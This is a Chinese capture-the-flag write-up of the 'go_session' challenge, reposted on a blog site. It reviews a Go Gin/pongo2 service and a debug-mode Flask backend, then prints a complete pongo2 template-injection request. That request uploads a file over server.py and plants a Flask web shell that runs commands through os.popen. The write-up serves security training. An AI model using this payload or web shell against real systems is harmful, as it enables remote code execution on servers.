【Go语言】go_session(超级详细)

news2024/11/23 7:46:17

目录

  • 前言
  • 附件
  • 代码审计
    • Index函数
    • Admin函数
    • Flask函数
    • server.py
    • 问题
  • 思路
    • 本地搭建环境
    • admin绕过
    • SaveUploadedFile方法
    • payload
  • 总结

前言

国赛初赛有一道题目go session,用go的Gin框架和pongo2模板引擎写的,是关于go的pongo2模板注入和flask的热加载,当时看着一脸懵逼,现在再看突然豁然开朗。

附件

主目录:

在这里插入图片描述
route文件夹:
在这里插入图片描述

代码审计

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

main.go主要是引入route文件里面的内容,并且设置路由

route.go

package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

这是一个路由文件,使用了Gin框架和pongo2的模板引擎

主要定义了三个路由函数,接下来逐步分析

Index函数

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点。

函数首先会获取名为 session-name 的cookie会话,然后判断会话中的name值是否为,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

当我们直接访问时就会出现下面的页面

在这里插入图片描述

Admin函数

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

Admin函数用于处理 /admin 下的请求,首先会获取会话,然后判断name字段的值是不是admin,如果不是就立即返回No,所以这里要进行session-name构造,使name字段的值为admin,然后进行下一步的操作,接着就是获取url请求中name字段的值,默认值是ssti,接着用EscapeString函数进行转义,防止XSS攻击,然后使用pongo2的模板引擎将字符串"Hello"和转义后的name字段值作为模板内容写入模板中,然后就是执行模板,将执行的结果存储在out中,最后返回out。

直接访问就会出现下面的页面

在这里插入图片描述

Flask函数

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

Flask函数用于处理 /flask 函数下的请求,首先获取会话,然后判断name字段是否为空,如果不为空则获取url中name字段的值,并将其与本地地址拼接,发送一个GET请求。请求结束后关闭响应体,然后读取响应题的内容,将其转换为字符串返回。

当我们直接访问 /flask 目录并设置参数 name=1 时会出现以下页面

在这里插入图片描述
显示并没有找到资源,如果我们对参数进行一波Fuzz的话就会发现有报错页面出现

在这里插入图片描述
我们把报错信息复制下来然后保存为html文件,然后分析报错信息我们可以找到server.py的文件源码
在这里插入图片描述

server.py

from flask import *

app = Flask(__name__)

 

@app.route('/')

def index():

    name = request.args['name']

    return name + " no ssti"

 

if __name__== "__main__":

    app.run(host="0.0.0.0",port=5000,debug=True)

看这个源码,很显然在5000端口搭建的是一个flask的程序,而且更重要的是,这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效

问题

上面的报错信息虽然爆出了源码,但让我百思不得其解的是,这个报错信息说的是我的参数中没有包含 name 键,我直接???,不是,我访问的url就是 /flask?name=,虽然我这name没设置键值,但也不能说我参数中没name键吧,难道?有鬼?

本孩子打小就不信邪,所以在我反复拿着源码研读的时候终于发现了问题所在:

/flask路径下的处理逻辑是这样的

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))

这个通过参数拼接访问本地5000端口上的flask程序,问题就出在拼接上,c.DefaultQuery()获取的是url请求中name参数的值直接拼接上去,如果我传入的name的值为空的话,c.DefaultQuery()就是空,那就相当于直接访问http://127.0.0.1:5000/,而再去查看刚才报错发现的源码server.py


@app.route('/')

def index():

    name = request.args['name']

    return name + " no ssti"

这个文件在根路径会获取参数name值并返回,我之前没传入name值,怪不得会报错。

原来,这个世界上没有鬼,只有我这个菜鸡!(哭哭)

思路

本地搭建环境

刚开始拉代码的时候没拉下来,建议换一下代理,设置以下GoProxy

go env -w GOPROXY=https://goproxy.io,direct

admin绕过

将Index函数改成:

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		session.Values["name"] = "admin"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}
	message := fmt.Sprintf("Hello, %s", session.Values["name"])
	c.String(200, message)
}

这样当我们在访问根目录时就会获取到name值为admin的session-name了,然后我们就可以带着这个session-name访问/admin路径进行ssti注入了,常见的方式是直接注入读取文件找到flag,但是gin.Context对象本身并没有直接读取文件的方法,因为读取文件一般是服务端的操作,跟请求处理无关,但这样也表明它可以读取请求中包含的文件,也就是上传文件,而且gin.Context对象有处理文件上传的方法。

SaveUploadedFile方法

SaveUploadedFile方法用于保存上传的文件到指定的路径,这样我们就可以任意上传文件,然后将server.py替换执行任意内容。

所以我们的payload的url参数应该是这样的

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但是因为参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于"file",gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值

所以payload就是这样的

{{c.SaveUploadedFile(c.FormFile(c.HandlerName(),c.Request.Referer()))}}

但是在数据包中添加请求头时还要添加 Content-Type 头

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND

对于添加这个头的解释是

对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时
生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不
的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要
使用 multipart/form-data 类型的请求体格式。

payload

整体的数据包是这样的

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28421
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session-name=MTY5MTk5NTYxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwAose6mBW42KwvBV0MfmwHk6ygJ3VCQ6Fh1BYVHxqahA==
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Connection: close
Content-Length: 427

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
    name = request.args['name']
    file=os.popen(name).read()
    return file


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

在这里插入图片描述
这个上传的文件也很简单,接收一个名为 name 的参数,并使用 os.popen() 执行该参数作为命令,并返回执行结果
然后访问 /flask?name=?name=env,找到Flag
在这里插入图片描述
这里再解释一下为什么是

/flask?name=?name=env

而不是

/flask?name=env

还是上面说的那个原因,写成name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
这样就可以接收到参数name并执行命令了
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env
这样没有传入参数name,后端接收不到name参数就什么也执行不了了

总结

菜鸡,真菜鸡!不跟你们这一群人卷了,回家种地了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/883157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ICLR2020 Query2Box:基于BOX嵌入的向量空间知识推理8.15

Query2Box:基于BOX嵌入的向量空间知识推理 摘要介绍 摘要 在大规模不完全知识图谱上回答复杂的逻辑查询是一项基础性但具有挑战性的任务。最近,一种解决这个问题的很有前途的方法是将KG实体和查询嵌入到向量空间中,这样回答查询的实体紧密嵌…

Azure创建可用性集

什么是可用性集 在Azure中,可用性集(Availability Set)是一种用于提高虚拟机(VM)可用性和可靠性的功能。它通过将虚拟机分布在不同的物理硬件和故障域中来提供高可用性。每个故障域都是一个独立的电力和网络故障区域&…

gitlab合并新项目和分支切换

一、新建项目 1、创建空白项目 2、先创建一个群组 3、编写群组信息 4、创建群组完成以后新建项目 ​​​​​​​ 二、将代码推送到gitlab 1、初始化 git init 2、关联gitlab地址 # 比如:http://192.168.139.128:7070/cloud/obwt_cloud.git git remote add origin <你…

完全备份、增量备份、差异备份、binlog日志

Top NSD DBA DAY06 案例1&#xff1a;完全备份与恢复案例2&#xff1a;增量备份与恢复案例3&#xff1a;差异备份与恢复案例4&#xff1a;binlog日志 1 案例1&#xff1a;完全备份与恢复 1.1 问题 练习物理备份与恢复练习mysqldump备份与恢复 1.2 方案 在数据库服务器192…

Android 面试笔记整理-Binder机制

作者&#xff1a;浪人笔记 面试可能会问到的问题 从IPC的方式问到Binder的优势为什么zygote跟其他服务进程的通讯不使用BinderBinder线程池和Binder机制 等等这些问题都是基于你对Binder的理解还有对其他IPC通讯的理解 IPC方式有多少种 传统的IPC方式有Socket、共享内存、管道…

HTML笔记(3)

表单标签 用于登录、注册界面&#xff0c;以采集用户输入的信息&#xff0c;把信息采集到之后&#xff0c;用户一点按钮&#xff0c;就会把这些信息发送到服务端&#xff0c;服务端就可以把这些数据存储到数据库&#xff0c;所以表单是一个非常重要的html标签&#xff0c;它主要…

机器学习之数据集

目录 1、简介 2、可用数据集 3、scikit-learn数据集API 3.1、小数据集 3.2、大数据集 4、数据集使用 ⭐所属专栏&#xff1a;人工智能 文中提到的代码如有需要可以私信我发给你&#x1f60a; 1、简介 当谈论数据集时&#xff0c;通常是指在机器学习和数据分析中使用的一组…

Thymeleaf快速入门及其注意事项

&#x1f600;前言 本篇博文是关于Thymeleaf的基本介绍&#xff0c;希望你能够喜欢&#x1f60a; &#x1f3e0;个人主页&#xff1a;晨犀主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是晨犀&#xff0c;希望我的文章可以帮助到大家&#xff0c;您的满意是我的…

SAP安全库存-安全库存共享、安全库存简介

SAP系统中的安全库存用于管理计划外和计划内的库存需求,在某些行业中,由于不同的情况,如意外损耗、损坏、环境问题、制造工艺问题、需求增加等,通常会出现意外的库存需求。 SAP提供了维护安全库存的处理方式来处理这样的问题,安全库存的字段信息在主数据视图中,在物料需…

系统架构设计师---职责及与其他角色的关系区别

一. 系统架构设计师的职责如下: 系统架构设计师是系统或产品线的设计责任人,是一个负责理解和管理并最终确认和评估非功能性系统需求(比如软件的可维护性、性能、复用性、可靠性、有效性和可测试性等),给出 开发规范,搭建系统实现的核心构架,对整个软件架构、关键构件、…

商城-学习整理-高级-全文检索-ES(九)

目录 一、ES简介1、网址2、基本概念1、Index&#xff08;索引&#xff09;2、Type&#xff08;类型&#xff09;3、Document&#xff08;文档&#xff09;4、倒排索引机制4.1 正向索引和倒排索引4.2 正向索引4.3 倒排索引 3、相关软件及下载地址3.1 Kibana简介3.2 logstash简介…

MySQL运维MySQL读写分离

查看当前从库的状态 一主一从 1 3 上一样的 指定一个逻辑库 逻辑库不用指定逻辑表 当前逻辑库对应的数据节点 用balance2 是随机的

自适应AI chatgpt智能聊天创作官网html源码

我们致力于开发先进的自适应AI智能聊天技术&#xff0c;旨在为用户提供前所未有的聊天体验。通过融合自然语言处理、机器学习和深度学习等领域的顶尖技术&#xff0c;我们的智能聊天系统能够准确理解用户的需求并给出相应的回应。 我们的自适应AI智能聊天系统具备以下核心特点…

21.0 CSS 介绍

1. CSS层叠样式表 1.1 CSS简介 CSS(层叠样式表): 是一种用于描述网页上元素外观和布局的样式标记语言. 它可以与HTML结合使用, 通过为HTML元素添加样式来改变其外观. CSS使用选择器来选择需要应用样式的元素, 并使用属性-值对来定义这些样式.1.2 CSS版本 CSS有多个版本, 每个…

Java | IDEA中 jconsole 不是内部或外部命令,也不是可运行的程序

解决办法&#xff1a; 1.先将Terminal的Shell path 修改为C:\WINDOWS\system32\cmd.exe 2.在检查环境变量中的ComSpec的值 3.找到自己电脑下载的jdk的bin的地址 4.将jdk的bin地址加入到系统变量path中

windows权限维持—SSPHOOKDSRMSIDhistorySkeletonKey

windows权限维持—SSP&HOOK&DSRM&SIDhistory&SkeletonKey 1. 权限维持介绍1.1. 其他 2. 基于验证DLL加载—SPP2.1. 操作演示—临时生效2.1.1. 执行命令2.1.2. 切换用户 2.2. 操作演示—永久生效2.2.1. 上传文件2.2.2. 执行命令2.2.3. 重启生效 2.3. 总结 3. 基…

【Linux】【驱动】杂项设备驱动

【Linux】【驱动】杂项设备驱动 Linux三大设备驱动1. 我们这节课要讲的杂项设备驱动是属于我们这三大设备驱动里面的哪个呢?2.杂项设备除了比字符设备代码简单&#xff0c;还有别的区别吗?3.主设备号和次设备号是什么? 挂载驱动 杂项设备驱动是字符设备驱动的一种&#xff0…

JavaWeb学习-Day03

Ajax 同步与异步 Acios&#xff1a; 前后端分离开发 yapi&#xff1a;(YApi Pro-高效、易用、功能强大的可视化接口管理平台) 前端开发的工程化 Vue项目 template:定义HTML代码&#xff0c;相当于Vue当中的视图部分 script:定义JS代码&#xff0c;Vue当中的数据模型以及当中的…

AutoHotKey+VSCode开发扩展推荐

原来一直用的大众推荐的SciTeAHK版&#xff0c;最近发现VSCode更舒服一些&#xff0c;有几个必装的扩展推荐一下&#xff1a; AutoHotkey Plus 请注意不是AutoHotkey Plus Plus。如果在扩展商店里搜索会有两个&#xff0c;一个是Plus&#xff0c;一个是Plus Plus。我选择Pllus&…

logstash 原理(含部署)

1、ES原理 原理 使⽤filebeat来上传⽇志数据&#xff0c;logstash进⾏⽇志收集与处理&#xff0c;elasticsearch作为⽇志存储与搜索引擎&#xff0c;最后使⽤kibana展现⽇志的可视化输出。所以不难发现&#xff0c;⽇志解析主要还 是logstash做的事情 从上图中可以看到&#x…